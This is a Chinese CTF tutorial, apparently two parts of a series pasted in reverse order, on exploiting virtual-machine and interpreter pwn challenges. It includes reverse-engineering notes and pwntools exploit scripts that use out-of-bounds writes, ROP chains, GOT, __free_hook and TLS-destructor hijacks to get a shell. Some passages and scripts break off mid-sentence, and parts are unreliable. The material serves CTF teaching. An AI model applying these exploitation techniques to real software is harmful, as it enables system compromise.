VMPWN的入门级别题目详解(二)
实验四 VMPWN4 题目简介 这道题应该算是虚拟机保护的一个变种,是一个解释器类型的程序,何为解释器?解释器是一种计算机程序,用于解释和执行源代码。解释器可以理解源代码中的语法和语义,并将其转换为计算机可以执行的机器语言。与编译器不同,解释器不会将源代码转换为机器语言,而是直接执行源代码。即,这个程序接收一定的解释器语言,然后按照一定的规则对其进行解析,完成相应的功能,从本质上来看依然是一个虚拟机。 这个程序是一个brainfuck的解释器,brainfuck的语法如下所示: 将这些语法翻译为c代码如下所示: 题目保护检查 使用checksec来检查程序开启了哪些保护机制 所有保护全部开启使用seccomp-tools检查程序是否开启了沙箱 只允许open、openat、read、write、brk等少数系统调用,也就是说我们不能通过执行system(“/bin/sh”)或者execve系统调用来拿到shell了。 漏洞分析 使用IDA pro打开这个程序查看伪代码 看到std::cout以及std::string等函数,可以看出来这个程序是用c++进行编写的,相比于C语言的程序,C++的程序反编译之后分析起来难度会大一些。 分析一波sub_1EA2函数在a1+0x400处创建一个string类,后面的sub_1FAA,sub_1F72很复杂,看不明白,应该是初始化的函数。 然后在 sub_154B 函数中 这里就是沙箱开启函数,我们一开始用 seccomp-tools 分析程序得到的沙箱规则就是在这个函数中设置的,对程序的系统调用功能进行了种种限制。 接着输入 code,每次输入 1 字节,然后将这 1 字节拼接到 string 中, 在这里我们可以动态调试一下输入过程,因为 string 是一个类,其内部有其他成员。我们将断点下载 while 循环结束之后,即读取完了 code,我们首先输入 5 个'>',string 类在 rbp-0x40,我们查看其中内容: 前8个字节是一个指针,指向我们输入的code存放的地址,第2个8字节是输入的字节数,后面的就是我们输入的code,这里我们只输入了5个字节,直接在存在了栈中。我们多输入一些,大于0x10个字符 前8个字节变为了堆地址,我们输入的数据被存入了堆中,第2个8字节依然书我们输入的字节数,第3个8字节0x1e,应该是剩余可用空间,0x13+0x1e=0x31。总的来说,如果输入字符数小于0x10,string类的大概成员应该如下 struct string { char *data; int64_t size; char data[0x10]; ... } 如果大于0x10则为如下 struct { char *buf; int64_t size; int64_t capacity; char tmp_data[8]; ... } 继续分析程序 中间这一段 for 循环应该是遍历所有输入的 code,寻找[和],也就是寻找程序的边界,为什么是寻找程序的边界,可以再看一下 brainfuck 解释为 c 语言之后的效果。[]所包裹起来的 code,就是 while 循环之内要执行的代码。从这个 for 循环往下,就是对 brainfuck 的解释代码,会依次判断每个字符的值,并进行相应的操作。 首先看到对>的操作会对v19进行+1操作,v19是啥呢?s是最开始初始化的时候传入的一个长度为0x400的数组,这里将v19赋值为s数组的地址,每当解析到>时,就将v19往后移动一个字节,然后对v19进行判断在if判断中存在问题,当v19指针大于string指针是退出,也就是说v19可以等于string指针,即v19可以指向string的第一个字节,存在off-by-one。如下图v19可以指向画框的1字节。 后续的其他操作就都和最开始贴出来的brainfuck语法一样了,也没有漏洞。 接下来开始利用漏洞。 第一步还是得先泄露libc地址。泄露方法是通过将v19指向string的第一字节,也就是buf指针的最后1字节。在0x7fffffffde68处就是main函数的返回地址,我们将buf指针的最后1字节修改为68,这样buf就会指向返回地址。在程序的最后,会将string的数据输出而此时string的buf已经被我们指向了返回地址,输出时就会泄露出libc_start_main的地址。在这里我们需要注意,想要buf指针能够指向栈中,我们输入的数据不能超过0x10个字节,而v19和string相差多少呢?v19是指向s的,s和string相差了0x400的距离,所以我们需要将v19增加0x400才 ++*ptr; while(*ptr) { ptr++; ++*ptr; } 这看起来是一个死循环,为啥能够自动在指向string的第1个字节时自动停止呢?这是因为,当执行完>使得v19指向string后,接下来会执行+使得string的buf指针+1,变成了下图所示:于是,原本要取],因为指针+1,就会取到,,从而跳出循环。还有一点就是,因为aslr的缘故,栈地址会一直改变,所以泄露libc地址需要多试几次才能成功。拿到libc地址之后,就可以进行利用了,由于此时string的buf指针指向的是返回地址,我们再次输入code的时候就会往返回地址上写,所以我们可以构造好orw的rop链,直接写入返回地址,然后当我们结束main函数的时候就会执行orw链。另外,还有需要注 利用脚本 from pwn import * context.log_level='debug' global io libc=ELF('./libc.so.6') def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16) gdb.attach(io,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(io,"b *{}".format(hex(addr))) def pwn():    payload = '+[>+],'    io.recvuntil('enter your code:\n')        io.sendline(payload)    io.recvuntil('running....\n')    io.send(p8(0xd8))    io.recvuntil("your code: ")    libc_base = u64(io.recvuntil('\x7f',timeout=0.5)[-6:].ljust(8,'\x00')) - 231 - libc.sym['__libc_start_main']    if libc_base>>40!=0x7f:        raise Exception("leak error!")    log.success('libc_base => {}'.format(hex(libc_base)))    pop_rdi_ret=libc_base+0x000000000002155f    pop_rsi_ret=libc_base+0x0000000000023e6a    pop_rdx_ret=libc_base+0x0000000000001b96    open_addr=libc_base+libc.symbols['open']    read_addr=libc_base+libc.symbols['read']    write_addr=libc_base+libc.symbols['write']    log.success('open_addr => {}'.format(hex(open_addr)))    log.success('read_addr => {}'.format(hex(read_addr)))    log.success('write_addr => {}'.format(hex(write_addr)))    flag_str_addr=(libc_base+libc.symbols['__free_hook'])&0xfffffffffffff000    orw=p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(flag_str_addr)+p64(pop_rdx_ret)+p64(0x10)+p64(read_addr)    orw+=p64(pop_rdi_ret)+p64(flag_str_addr)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)    orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(flag_str_addr+0x10)+p64(pop_rdx_ret)+p64(0x100)+p64(read_addr)    orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(flag_str_addr+0x10)+p64(pop_rdx_ret)+p64(0x100)+p64(write_addr)    io.recvuntil('want to continue?\n')    io.send('y')    io.recvuntil('enter your code:\n')    io.sendline(orw+payload)    io.recvuntil('running....\n')    io.send('\xa0')    io.recvuntil('want to continue?\n')    io.send('n')    io.send('./flag')    io.interactive() if __name__ == "__main__":    while True:        try:            io=process('./bf')            pwn()        except:            io.close()     实验五 VMPWN5 题目简介 这道题是一道很典型的VMPWN,接收字节码,对字节码进行解析,执行对应功能。不过这题相较于前面的vmpwn有些区别,前几题都都是同时存在越界读和越界写漏洞的,然而这道题仅存在一个越界写漏洞,这就要求更加开阔和灵活的解题思路。 题目保护检查 保护全部开启了。 漏洞分析 IDA打开程序 读取一段字符,如果这段字符串不为”bye bye”,则调用sub_228E函数 看到sub_228E函数 首先根据字符串的输出将各个变量重命名。 先让用户输入code_size,也就是字节码的长度;接着让用户输入memory count,也就是内存的大小,内存的单位是8字节,后面通过malloc申请memory count*8大小的堆块作为内存。然后读取code,最后调用sub_1458函数,跟进查看 似乎是一个初始化函数,但具体做了什么我们暂不清楚,继续往下看,跟进到sub_151A函数。 这里就是熟悉的解析字节码了,我们将前面的函数和变量重命名一下 为了方便逆向分析,我们首先来确定虚拟机的结构体。 首先根据这里的判断,我们猜测通用寄存器的索引不能大于3,也就是通用寄存器有 4个。我们再回看到init_vm结构体。 qword_5040应该为pc指针,因为它指向的是code的开头,ptr指向内存的开头,后面又malloc出来了一块0x800的堆,猜测这个qword_5050应该就是栈顶指针rsp,重命名之后如下 重新看回到exec_vm函数 qword_5088很明显是当前运行了多少code。 而我们注意到 我们刚刚重命名的指针都是位于同一块区域,所以这一块区域应该就是vm虚拟机的位置。 根据刚刚的分析,创建如下结构体 struct vm {  char *code;  int64_t *memory;  int64_t *stack;  int64_t codesize;  int64_t memcnt;  int64_t regs[4];  int64_t rip;  int64_t rsp; }; 再将其应用于IDA中,此时exec_vm已经变得很清晰 一共24个功能,每个操作码对应的功能如下: 0:push 1:pop 2:将栈中的两个值相加 3:将栈中的两个值相减 4:将栈中的两个值相乘 5:将栈中的两个值相除 6:将栈中的两个值取模 7:将栈中的两个值左移 8:将栈中的两个值右移 9:将栈中的两个值相与 11:将栈中的两个值相或 12:将栈中的两个值相异或 13:判断栈顶值是否为0 14:jmp 15:条件jmp,如果栈顶有值就jmp,没有就不jmp 16:条件jmp,和15相反 17:判断栈顶的两个值是否相等 18:判断栈顶值是否小于栈顶下的一个值 19:判断栈顶值是否大于栈顶下的一个值 20:将一个立即数存入寄存器中 21:将寄存器中的值存入内存中 22:将内存中的值存入寄存器中 23:打印finish 接下来开始分析漏洞 在最开始输入mem_cnt时有一个判断,如下 在这里,当输入类似0x2000000000000020的mem_cnt时,后续申请到的memory大小就为0x100因为0x200000000000000*8会超过64位能表示的最大数字从而导致整数溢出,只有最后的0x20*8会保留下来。 在执行opcode时,0x15功能点处检查内存是否越界依然使用的是一开始输入的mem_cnt,因此存在越界写,可以将寄存器中的数据写到任意内存中。而在0x16功能点处的内存读功能则由于v8 >= 8 * vmx.memcnt / 8的处理,失去了越界读的效果,所以题目的漏洞就在于0x15功能点的越界写。 但是,由于不存在越界读功能,我们无法从内存中读取libc地址信息到寄存器中,虚拟机也没有输出功能,因此我们需要另辟蹊径。 首先如何生成libc地址,注意在exec_vm结束后,会清理虚拟机的各个段 由于将堆free了会链入到unsortedbin中,因此堆中就会留下libc地址,再重新初始化一个虚拟机,这个新的虚拟机的内存段中就会包含libc地址。 当opcode大于0x17时,会输出what???,可以根据这个构造盲注来泄露libc地址. 首先将libc地址push到栈上,然后将1<<i(5<=i<=40)也push到栈上,然后通过0x9的按位与功能 检测该位是否为1,如果为1的话就执行一个错误的opcode,输出what???,如果为0的话就跳转回code开头,继续测试下一位是否为1,由此可以一位一位地得到libc地址。 如上图所示,这是mem区残留的libc地址,首先将libc地址mov到reg[0]中,如下图 然后将其push到栈中 接着我们往reg[1]中写入1<<i,i从5开始,到40结束,因为libc地址的末尾4位为0,且开头一定为0x7f,所以只需要从第5位测试到第40位即可 如上图,reg[1]中存放着1<<8,然后将其压入栈中 再将这两个值进行按位与 将按位与之后的结果存入栈底,然后我们判断栈底为1或者0,为1的话就输出finish,为0的话就输出what?,以此来判断libc的每一位数据为1或者0. 得到libc地址之后就该思考如何getshell了。 拿到libc地址后,再加上任意地址写,随便怎么打都可以,这里采用打call_tls_dtors来getshell。 call_tls_dtors是什么? main函数正常退出时,会调用exit函数 void exit (int status) {  __run_exit_handlers (status, &__exit_funcs, true, true); } libc_hidden_def (exit) exit函数调用了__run_exit_handlers函数 __run_exit_handlers (int status, struct exit_function_list **listp,     bool run_list_atexit, bool run_dtors) {  /* First, call the TLS destructors. */ #ifndef SHARED  if (&__call_tls_dtors != NULL) #endif    if (run_dtors)      __call_tls_dtors (); .....................  _exit (status); } __run_exit_handlers函数中,会检查run_dtors,如果为真就会调用__call_tls_dtors 动态调试exit函数,可以看到run_dtors的值 pwndbg> p run_dtors $1 = true 因此__call_tls_dtors是会被执行的,再看到__call_tls_dtors函数 void__call_tls_dtors (void){ while (tls_dtor_list) { struct dtor_list *cur = tls_dtor_list; dtor_func func = cur->func;#ifdef PTR_DEMANGLE PTR_DEMANGLE (func);#endif tls_dtor_list = tls_dtor_list->next; func (cur->obj); /* Ensure that the MAP dereference happens before l_tls_dtor_count decrement. Th 如果tls_dtor_list存在的话,就会将tls_dtor_list赋值给cur,而cur是一个dtor_list的结构体指针,定义如下 struct dtor_list{ dtor_func func; void *obj; struct link_map *map; struct dtor_list *next;}; 然后将cur->func赋值给func,然后调用PTR_DEMANGLE (func),定义如下 # define PTR_DEMANGLE(var) asm ("ror $2*" LP_SIZE "+1, %0\n" \ "xor %%fs:%c2, %0" \ : "=r" (var) \ : "0" (var), \ "i" (offsetof (tcbhead_t, \ pointer_guard))) 纯汇编如下 0x7ffff7e21428 <__call_tls_dtors+40> ror rax, 0x11 0x7ffff7e2142c <__call_tls_dtors+44> xor rax, qword ptr fs:[0x30] 0x7ffff7e21435 <__call_tls_dtors+53> mov qword ptr fs:[rbx], rdx 0x7ffff7e21439 <__call_tls_dtors+57> mov rdi, qword ptr [rbp + 8] 0x7ffff7e2143d <__call_tls_dtors+61> call rax 与之相对的是PTR_MANGLE(var) # define PTR_MANGLE(var) asm ("xor %%fs:%c2, %0\n" \ "rol $2*" LP_SIZE "+1, %0" \ : "=r" (var) \ : "0" (var), \ "i" (offsetof (tcbhead_t, \ pointer_guard))) PTR_MANGLE可以看作是加密过程,PTR_DEMANGLE 则是解密过程,循环右移0x11位,然后和fs:[0x30]异或得出解密之后的值。 fs:[0x30]是什么?64位程序中,函数退栈时检查canary的那条汇编语句就是xor rcx, qword ptr fs:[0x28],里面也出现了fs,实际上fs是一个TLS结构体,定义如下 typedef struct{ void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; int gscope_flag; /* Bit 0: X86_FEATU stack_guard就是fs:[0x28],也就是canary,相应的,fs:[0x30]就是pointer_guard。如何定位TLS结构体?在pwndbg使用如下方式 pwndbg> canary canary : 0xed8519fd5f3d4700pwndbg> search -p 0xed8519fd5f3d4700 0x7ffff7fca568 0xed8519fd5f3d4700pwndbg> x /20xg 0x7ffff7fca568-0x280x7ffff7fca540: 0x00007ffff7fca540 0x00007ffff7fcae900x7ffff7fca550: 0x00007ffff7fca540 0x0000000000000000 回到函数中来,解密了func之后,会执行 func (cur->obj); 而func和cur->obj同属于tls_dtor_list结构体,而这个结构体的来源是tls_dtor_list这个指针,如果我们能够控制这个指针指向我们可控的内存那么就能够劫持程序。我们继续动态调试查看tls_dtor_list的值 pwndbg> p tls_dtor_list Cannot find thread-local storage for process 5047, shared library /usr/lib/freelibs/amd64/2.31-0ubuntu9.2_amd64/libc.so.6:Cannot find thread-local variables on this target 但是pwndbg并不能直接查看到tls_dtor_list的内容,看地址也不行,那我们继续从汇编中找 查看while (tls_dtor_list)处的汇编,如下 0x7ffff7e2140a <__call_tls_dtors+10> mov rbx, qword ptr [rip + 0x1a094f] ► 0x7ffff7e21411 <__call_tls_dtors+17> mov rbp, qword ptr fs:[rbx] 0x7ffff7e21415 <__call_tls_dtors+21> test rbp, rbp 0x7ffff7e21418 <__call_tls_dtors+24> je __call_tls_dtors+93 <__call_tls_dtors+93> 将fs:[rbx]处的值赋给rbp,然后检查rbp是否为0 此时RBP的值为 RBX 0xffffffffffffffa8 补码形式,转换成负数就是-0x58,也就是将fs:[-0x58]处的值赋给RBP,所以tls_dtor_list的地址就为fs:[-0x58]。 整个利用流程就是,将tls_dtor_list的值修改为我们可控内存的地址,一般是堆的地址,然后根据dtor_list结构体的布局 struct dtor_list{ dtor_func func; void *obj; struct link_map *map; struct dtor_list *next;}; 我们只需要将在堆中将func伪造为加密后的system的地址,obj为/bin/sh即可。 按照上面说的思路,我们利用越界写将pointer_guard修改为0,然后修改dtor_list结构体的值,将func修改为加密后的system地址,将会obj修改为binsh的地址,最后我们推出虚拟机的时候就会触发system(“/bin/sh”)来getshell。 利用脚本 from pwn import *context.log_level='debug'io=process('./ezvm')libc=ELF('./libc-2.35.so')io.recvuntil('Welcome to 0ctf2022!!\n')io.sendline('lock')io.recvuntil('size:\n')io.sendline('38')io.recvuntil('memory count:\n')io.sendline('256')code=p8(0x17)+p8(0xff)*36io.recvuntil('code:\n')io.sendline(code)
VMPWN的入门级别题目详解(一)
实验一 VMPWN1 题目简介 这是一道基础的VM相关题目,VMPWN的入门级别题目。前面提到VMPWN一般都是接收字节码然后对字节码进行解析,但是这道题目不接受字节码,它接收字节码的更高一级语言:汇编。程序直接接收类似”mov”、”add”之类的指令,可以把这道题目看作是一个执行汇编语言的处理器,相比于解析字节码的VM,逆向难度要大大减小。非常适合入门。 题目保护检查 只有Partial RELRO保护,这意味着可以修改程序的重定位表;没有开启PIE保护,那么程序每次加载到内存中的地址都不会发生变化。 漏洞分析 拖进IDA分析流程 程序模拟了一个虚拟机,v5,v6,v7分别是stack段,text段和data段。看到alloc_mem这个函数 Malloc一块小内存ptr,然后参数a1是要分配的内存的大小,一个单位是8字节。根据伪代码中对ptr的赋值可以构造出一个结构体,如下 struct seg_chunk {  char *seg;  int size;  int nop; }; 再看到alloc_mem函数会直观很多 但是这样依然有一些难以理解,我们使用GDB打开程序进行调试,看到如下图所示 存在多个0x20大小的小堆块,堆块中的开头8字节指向下方的大堆块,第8到第12字节则是大堆块的大小的单位数量,比如0x400=0x80*0x8,单位长度为8字节,后面的0xffffffff暂时不知道作用,可能只适用于占位。因此根据gdb的显示结果,我们重新创建一个结构体,如下 struct manage_chunk {  unsigned __int8 *chunk;  unsigned int unit_num;  int unknow; }; 继续看到main函数, 接着会让用户输入程序名 分配好各个段之后,然后让我们输入指令,先写到一个0x400的缓冲区中 然后再写到text段中,store_opcode函数如下 函数接受两个参数,a1为text段的指针,a2为缓冲区的指针,strtok函数原型如下: char *strtok(char *str, const char *delim) str -- 要被分解成一组小字符串的字符串。 delim -- 包含分隔符的 C 字符串。 该函数返回被分解的第一个子字符串,如果没有可检索的字符串,则返回一个空指针。 程序中的delim为\n\r\t,strtok(a2, delim)就是以\n\r\t分割a2中的字符串 由下面的if-else语句我们可以知道程序实现了push,pop,add,sub,mul,div,load,save这几个功能,每个功能都对应着一个opcode,将每一个opcode存储到函数中分配的一个临时data段中(函数执行完后这个chunk就会被free掉) sub_40144E函数如下: 这个函数是用来将函数中的临时text段的指令转移到程序中的text段的,每八个字节存储一个opcode,每存储一个指令,就会对unknow进行加1的操作。我们将这个函数重名为set_value。 需要注意的是,这里存储opcode的顺序和我们输入指令的顺序是相反的(不过也没啥需要注意的,反正程序是按照我们输入的指令顺序来执行的)。 write_stack函数如下: 和store_opcode函数相比就是去掉了存储opcode的环节,将我们输入的数据存储在stack段中。 我们再看到execute函数 一个很大switch选择语句,看到sub_4014B4函数 将a1中seg内的值给到a2,unknow每次都会减一,而a1是text段的指针,所以这个函数就是从text段中取指令,将其重命名为take_value。 对于set_value函数而言,每次会将unknow加1,而对于take_value而言,每次会将unknow减1,因此我们在这里可以猜测unknow是当前的数据的数量,因此重新定义结构体 struct manage_chunk {  unsigned __int8 *chunk;  unsigned int unit_num;  int num_now; }; 看到case0x11对应的函数sub_401AAC 调用了take_value函数和sub_40144E函数,sub_40144E如下 将a2放入a1的seg中,和take_value的操作相反,所以我们将其命名为set_value。整体看来就是这样子的,如下图所示 从stack中取值,然后将值存入data中,所以这里的操作我们可以理解为pop,因此我们将sub_401AAC重命名为pop。 再看到sub_401AF8函数 从data中取出两个值,然后将这两个值相加存入data中,所以我们将其重命名为add。 看到sub_401BA5函数 很明显就是减法 再看sub_401C06函数 这个函数是乘法 再看sub_401C68函数 这个函数是除法 再看到sub_401CCE函数 稍微复杂了一点点,从data中取出一个值,然后以这个值为索引,从data中取值,将取出来的值载data中。我们将这个函数命名为load。 最后看到sub_401D37函数 这里取出两个值a2和v4,以a2为索引,将v4存入a2索引找到的内存中。将其命名为save。 至此,所有的操作都已经分析完毕,那么程序的漏洞在哪? 注意看到load和save功能 索引v3是从data段中取出来的,而data段的值是由用户输入的 通过push和pop以及加减乘除等操作可以控制data段中的数据,而在load中以data段中的数据为索引时又没有对其进行限制,所以这里存在一个越界读的漏洞,即我们只需要设置好data段中的数据,在使用load功能时就可以将不属于data段中的数据读取到data段中。 除了load中的越界读漏洞,在save操作中也存在漏洞 Save功能中从data段中取出两个值,然后将其中一个值作为data段的索引,从中取出一个值addr,将从data段中取出的另一个值存入addr指向的内存当中。这里没有对这两个值进行判断,也没有对addr进行任何判断,所以我们可以将任意值写入任意地址中,这里就存在一个越界写漏洞。 所以这个程序一共存在两个漏洞:越界读和越界写漏洞。 静态分析完毕,开始动态分析 存在越界读写的漏洞,该怎么利用? 由于程序没有开启FULL RELRO,所以我们可以复写got表,got中会存放有已经运行过的函数的加载地址,修改某个函数的got表的值就能够修改这个函数最终调用的函数地址。在这个程序中有如下函数 在这里我们选择将puts的got表中的值修改system函数的地址,为什么? 在程序的一开始让我们输入了一个程序名,然后execute运行结束后,会调用puts函数输出程序名,当我们将puts函数的got表的值修改为system函数的地址后,puts(s)就变成了system(s),而如果我们输入的s的内容为/bin/sh,那么最终就会调用system(“/bin/sh”)。 注意到heap区上方 Heap区上方就是程序的text段,text段中存有got表,有大量的libc的地址 而程序本身没有输出功能,所以我们需要利用程序提供的功能进行写入加减运算。load和save功能都是在data段进行的,而且存在越界,它们的的参数都是data结构体的指针。 而对data段进行操作都是通过存储在data结构体中的data段指针进行操作的,只要我们修改了这个指针,data段的位置也会随之改变,所以我们可以利用save的越界写漏洞,将data段指针修改到0x404000附近(也可以直接在data段进行越界读写,毕竟越界读写的范围也没有限定,不过这样计算起来会比较麻烦)。 我们将data段指针改写为stderr下方的一段无内容处,即0x4040d0。 这个操作对应的payload为 push push save 0x4040d0 -3 调试看看 我们将断点下载push处,如下图所示 也就是地址0x00000000004019C7处 push之前 push之后 0x4040d0被push到了data段开始处,接着将-3也push到data段 然后利用save功能的越界写,将0x4040d0写入到data[-3]处 执行完这一段指令之后,data段的指针就被修改到了0x4040d0。 之后我们对data段的操作就都是以0x4040d0为基地址来操作的,我们将上方的stderr的地址(或者别的地址)load到data段,然后计算出在libc中stderr和system的相对偏移,push到data段,然后将stderr和偏移相加就能得出system的地址,接着再利用save功能,将system写入puts@got(在0x404020处)即可。 利用脚本 from pwn import * context.binary = './ciscn_2019_qual_virtual' context.log_level = 'debug' io = process('./ciscn_2019_qual_virtual') elf = ELF('ciscn_2019_qual_virtual') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') io.recvuntil('name:\n') io.sendline('/bin/sh') data_addr = 0x4040d0 offset = libc.symbols['system'] - libc.symbols['_IO_2_1_stderr_'] opcode = 'push push save push load push add push save' data = [data_addr, -3, -1, offset, -21] payload = '' for i in data:    payload += str(i)+' ' io.recvuntil('instruction:\n') io.sendline(opcode) #gdb.attach(io,'b *0x401cce') io.recvuntil('data:\n') io.sendline(payload) io.interactive() 实验二 VMPWN2 实验简介 这道题难度要比前一道题稍微大一些,前一道题的输入为汇编形式的指令,而这一道题是很经典的一个VM,接收字节码,处理字节码,前一道题以接收汇编形式的指令,对于我们的逆向起到了很大的帮助,因为正常的VM逆向就是需要我们对字节码进行逆向将其还原为汇编形式的指令;所以这道题才是真正的VMPWN入门题。 题目保护检查 相比于前一题,保护开启增多,只有canary保护未开启。 漏洞分析 首先让我们输入PC和SP PC 程序计数器,它存放的是一个内存地址,该地址中存放着 下一条 要执行的计算机指令。 SP 指针寄存器,永远指向当前的栈顶。 然后让我们输入codesize,最大为0x10000字节接着依次输入code if语句是用来限制code的值的,将其中高8位为0xFF的整数的值修改为0xE0000000,然后存储到数组memory中。 接着进入where循环,fetch函数如下 这里使用到了reg[15],存储着PC的值,我们看一看这个程序使用的一些数据 每次将PC的值增加1,依次读取memory中的code 再看到execute函数 由于execute函数较长,所以我们不一次性放出,分段进行分析 Execute的参数是一个4字节的opcode v4 = (code & 0xF0000u) >> 16将会取第三个字节的数值。 v3 = (unsigned __int16)(code & 0xF00) >> 8将会取第二个字节的数值,并且这个数只是1位16进制数。 v2 = code & 0xF将会取最末尾一字节。 result = HIBYTE(code),将code的最高一字节给result,最高一字节用于指定对应的操作码。如果最高字节为0x70,那么执行加法操作,reg[v4] = reg[v2] + reg[v3]。 继续往下看 总结如下: 操作码为0x10,将一个1字节的常量存入reg[v4]; 操作码为0x20,判断code的最低字节是否为0,并将reg[v4]设置为结果; 操作码为0x30,以reg[v2]为索引,将memory[reg[v2]送入reg[v4]; 操作码为0x40,将reg[v4]送入memory[reg[v2]; 操作码为0x50,执行push操作,将reg[v4]压入栈中,reg[13]是可以理解为rsp寄存器; 操作码为0x60,执行pop操作,将栈顶的值弹出到reg[v4]中; 操作码为0x70,执行加法操作,reg[v4] = reg[v2] + reg[v3]; 操作码为0x80,执行减法操作,reg[v4] = reg[v3] - reg[v2]; 操作码为0x90,执行按位与操作,reg[v4] = reg[v2] & reg[v3]; 操作码为0xa0,执行按位或操作,reg[v4] = reg[v2] | reg[v3]; 操作码为0xb0,执行异或操作,reg[v4] = reg[v2] ^ reg[v3]; 操作码为0xc0,执行左移操作,reg[v4] = reg[v3] << reg[v2]; 操作码为0xd0,执行右移操作,reg[v4] = (int)reg[v3] >> reg[v2]; 操作码为0xe0,如果栈中已经没有值了,那就退出,在退出的时候会打印出所有寄存器的值。 以上就是这个VM实现的所有操作,可以看出基本实现了CPU的基本功能。 程序逻辑理清楚了,该思考怎么利用了。 操作码为0x30和0x40时,分别实现了load和save功能,在将内存中的值读入寄存器中时以及将寄存器中的值写入内存中是并未对边界以及要读取或写入的值有所限制,因此在这里依然存在越界读和越界写漏洞。 这道题开启了FULL RELRO保护,这样一来got表就不可写了,我们就不能够通过上一题的方式修改got表来劫持函数。 在程序的结尾调用了sendcomment函数,函数实现如下 调用free函数将comment这个堆块释放掉。 在这里我们需要提及到free_hook这个钩子函数 什么是free_hook? 在GNU C库(glibc)中,free_hook是一个全局变量,用于实现动态内存分配和释放的钩子函数。当程序使用malloc()、calloc()、realloc()等函数进行内存分配时,会调用free_hook函数来进行内存释放的操作。 通过定义自己的free_hook函数,可以在内存分配和释放时进行额外的处理操作,例如记录内存分配和释放的情况、检测内存泄漏等。 在glibc中,可以通过设置free_hook变量来实现自定义的内存释放操作。例如,可以使用以下代码来设置free_hook变量: void my_free_hook(void *ptr, const void *caller) {    printf("Freeing memory at %p, called by %p\n", ptr, caller);    __free_hook = old_free_hook;    free(ptr);    __free_hook = my_free_hook; } void *old_free_hook = NULL; int main() {    old_free_hook = __free_hook;    __free_hook = my_free_hook;    __free_hook = old_free_hook;    return 0; 在这段代码中,定义了一个自定义的my_free_hook函数来实现内存释放的操作。在main()函数中,先保存原来的free_hook变量,然后设置自定义的my_free_hook函数为新的free_hook变量。在程序运行时,即可使用自定义的my_free_hook函数来进行内存释放的操作。 需要注意的是,自定义的free_hook函数必须遵守内存分配和释放的规范,正确地分配和释放内存,避免内存泄漏和内存溢出等问题。 也就是说,在调用free函数之后,首先会检查free_hook是否被设置了钩子函数,如果free_hook被设置了钩子函数,那么首先会调用钩子函数,然后才会调用真正的free函数,而这个钩子函数的参数,和free函数的参数是一样的,也就是要释放的堆块的指针。 如果我们将free_hook设置为system函数的地址,将要释放的堆块的开头设置为/bin/sh,那么在调用free的时候就会先调用system(“/bin/sh”)。 首先我们需要泄露libc地址,bss段上方一段距离就是got表,我们通过越界读将got表中的libc地址读取到寄存器中,这里需要注意的是,由于寄存器是双字,也就是四字节的,而地址是八字节的,所以我们需要两个寄存器才能存储一个地址。 got表中最后一个是stderr,不过我们不选它来泄露,因为stderr地址的最后两位是00。 在这里我们选择stdin来泄露,因为后续我们需要通过stdin的地址来计算得到__free_hook-8,因此尽量选择与free_hook地址相差较小的来泄露,能够减小计算量。 有了泄露目标之后,就该来计算索引了(reg[v4] = memory[reg[v2]])。memory的地址是0x202060,stdin@got的地址为0x201f80,memory也是双字类型,于是有n=(0x202060-0x201f80)/4=56,索引就是-56。 该如何构造出-56,可以通过在内存中负数的存储方式来构造,0xffffffc8在内存中就表示-56,通过-56读取stdin地址的后四字节,通过-55读取前四个字节。如何得到0xffffffc8,可以通过ff左移位和加法运算得到,构造步骤如下: setnum(0,8), #reg[0]=8 setnum(1,0xff), #reg[1]=0xff setnum(2,0xff), #reg[2]=0xff left_shift(2,2,0), #reg[2]=reg[2]<<reg[0](reg[2]=0xff<<8=0xff00) add(2,2,1), #reg[2]=reg[2]+reg[1](reg[2]=0xff00+0xff=0xffff) left_shift(2,2,0), #reg[2]=reg[2]<<reg[0](reg[2]=0xffff<<8=0xffff00) add(2,2,1), #reg[2]=reg[2]+reg[1](reg[2]=0xffff00+0xff=0xffffff) setnum(1,0xc8), #reg[1]=0xc8 left_shift(2,2,0), #reg[2]=reg[2]<<reg[0](reg[2]=0xffffff<<8=0xffffff00) add(2,2,1), #reg[2]=reg[2]+reg[1](reg[2]=0xffffff00+0xc8=0xffffffc8=-56) 调试看看 我们首先将reg[0]设置为8,用于移位操作,将reg[1]设置为0xff,用于后续加法操作,将reg[2]也设置为0xff,用于移位操作 然后在左移操作下断点 左移之后,reg[2]变成了0xff00.继续 此时reg[2]已变成了0xffffff00,只需要再加上0xc8就能够构造出-56 然后我们读取stdin的地址,存入两个寄存器中 read(3,2), #reg[3]=memory[reg[2]]=memory[-56]setnum(1,1), #reg[1]=1add(2,2,1), #reg[2]=reg[2]+reg[1]=-56+1=-55read(4,2), #reg[4]=memory[reg[2]]=memory[-55] 这里为什么要用两个寄存器,是因为每个寄存器的长度只有4字节,而libc地址的长度为8字节,所以需要用两个寄存器才能存储一个完整的libc地址 在越界读的位置处下断点 stdin的libc地址的末尾4字节已经被读取到reg[3]中,再来一次越界读 此时前4字节也被读取到了reg[4]中。 有了stdin地址之后,我们计算出stdin和free_hook-8的偏移,通过add将偏移加到存储stdin地址的寄存器之上,再写入comment[0]即可,comment[0]与memory的相对索引是-8. -8是怎么算出来的 comment的地址是0x56336d3dd040,而memory的地址是0x56336d3dd060,(0x56336d3dd060-0x56336d3dd040)/4=8,而由于comment在memory的上方,所以索引应该为-8. setnum(1,0x10), #reg[1]=0x10 left_shift(1,1,0), #reg[1]=reg[1]<<8=0x10<<8=0x1000 setnum(0,0x90), #reg[0]=0x90 add(1,1,0), #reg[1]=reg[1]+reh[0]=0x1000+0x90=0x1090 &free_hook-8-&stdin=0x1090 add(3,3,1), #reg[3]=reg[3]+reg[1]=&stdin后四字节+0x1090=&free_hook-8后四字节 setnum(1,47), #reg[1]=47 add(2,2,1), #reg[2]=reg[2]+2=-55+47=-8 write(3,2), #memory[reg[2]]=memory[-8]=reg[3] setnum(1,1), #reg[1]=1 add(2,2,1), #reg[2]=reg[2]+1=-8+1=-7 write(4,2), 